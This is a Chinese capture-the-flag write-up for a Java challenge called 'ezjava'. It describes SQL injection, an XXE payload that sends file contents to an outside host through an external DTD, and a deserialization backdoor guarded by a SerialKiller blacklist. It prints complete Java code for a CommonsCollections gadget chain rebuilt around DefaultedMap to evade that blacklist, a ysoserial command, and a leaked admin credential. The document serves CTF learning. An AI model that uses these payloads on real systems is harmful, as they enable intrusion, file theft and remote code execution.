绿城杯 - ezjava
SQL注入
这题属于是调一天
前台SQL注入 直接sqlmap跑就可以了
能拿到密码
admin ZM3vFeqaAI7LbIbx
xxe读文件
登录后后台xxe把数据带出来
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:////usr/local/tomcat/webapps/ROOT/META-INF/MANIFEST.MF">
<!ENTITY % xxe SYSTEM "http://13/1.dtd" >
%xxe;
%send;
]>
1.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM '<http://1/?%file;>'>"
>
%all;
可以先用netdoc
协议列目录出来
这里看到了/readflag
那肯定是要命令执行了
读了根目录下的hint.txt
,提示源码中留了个后门
然后就开始了无尽的列目录猜目录读文件,最后读到了后门文件
package com.ctf.app.controller;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@Controller
public class UnserController {
@PostMapping("/uns3r_y0u_n3ver_k0nw")
public void unser(HttpServletRequest request, String payload) throws Exception{
HttpSession session = request.getSession();
if(session.getAttribute("uid")!=null) {
byte[] bytes = Base64.getDecoder().decode(payload);
ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(bytes), UnserController.class.getClassLoader().getResource("").getPath() + "config/serialkiller.xml");
ois.readObject();
}
}
}
以及他的黑名单
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to false for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
<regexps>
<regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.map\.LazyMap</regexp>
<regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
<regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
<regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>java\.util\.PriorityQueue$</regexp>
<regexp>java\.lang\.reflect\.Proxy$</regexp>
<regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
<regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
<regexp>java\.beans\.EventHandler$</regexp>
<regexp>java\.util\.Comparator$</regexp>
<regexp>org\.reflections\.Reflections$</regexp>
</regexps>
</blacklist>
<whitelist>
<regexps>
<regexp>.*</regexp>
</regexps>
</whitelist>
</config>
可以发现这里过滤了非常多的东西
反序列化
给的后门非常明确了,反序列化Rce
通过查看靶机版本为8u292.
这里就开始了无尽的踩坑之路
本机搭环境。在8u172下进行测试
本来使用URLDNS可以绕过这些黑名单,在yso下写个JRMPClient2
。远程通过
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1097 CommonsCollections3 'touch /tmp/success'
可以成功创建文件。此时本地测试通过
但是远程环境8u292,无论如何也打不通。当时猜测是需要绕jep290
调了一天。没调出来
后面给了hint
serialkiller对org.apache.commons.collections.Transformer起到作用了吗、CC3 + CC6
那就是修改CC链子了
但是过滤了
- org\.apache\.commons\.collections\.Transformer
- org\.apache\.commons\.collections\.map\.LazyMap
- org\.apache\.commons\.collections\.functors\.InvokerTransformer
和出题师傅交流了一下。他的出题灵感来自于P牛的JAVA安全漫谈14
CC3利用链解决的正是org.apache.commons.collections.functors.InvokerTransformer过滤的问题
CC库在3.2版本增加了org.apache.commons.collections.map.DefaultedMap,其和LazyMap逻辑差不多,可以直接代替使用
所以魔改下调用
https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java
将调用TransformedMap
的部分改为调用DefaultedMap
按照DefaultedMap
的方法构造反序列化
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;
public class Payload {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
// 用恶意Map初始化TiedMapEntry类
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
// 将构造好的TiedMapEntry对象作为HashMap的一个key
HashMap evalMap = new HashMap();
evalMap.put(tiedMapEntry, "test");
outerMap.remove("key");
// 用反射设置把恶意构造的Transformer
Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
// 设置权限
declaredFields.setAccessible(true);
declaredFields.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(evalMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
}
}
其中恶意类EvilTemplatesImpl.class
为要执行的恶意代码
生成payload后发送。可以发现成功生成了success
文件
当然,这里是服务器返回了500,可以通过反弹shell
或者将readflag
的内容写到tmp下 通过刚开始的xxe读flag
如何将回显带出来呢
这里可以利用springframework
的getRequest()
与getResponse()
方法将回显带出来。这种带回显的方式已经很常见了,相信有经验的师傅可以很快的写出demo
所以最终的结果是
结语
我认为题目本身是对JAVA
安全的掌握程度的考察,除了一开始的注入猜了半天。对于CC链改写的部分还是很考验对CC链的理解程度以及各种方法的调用结果。
也在这题目中学到了很多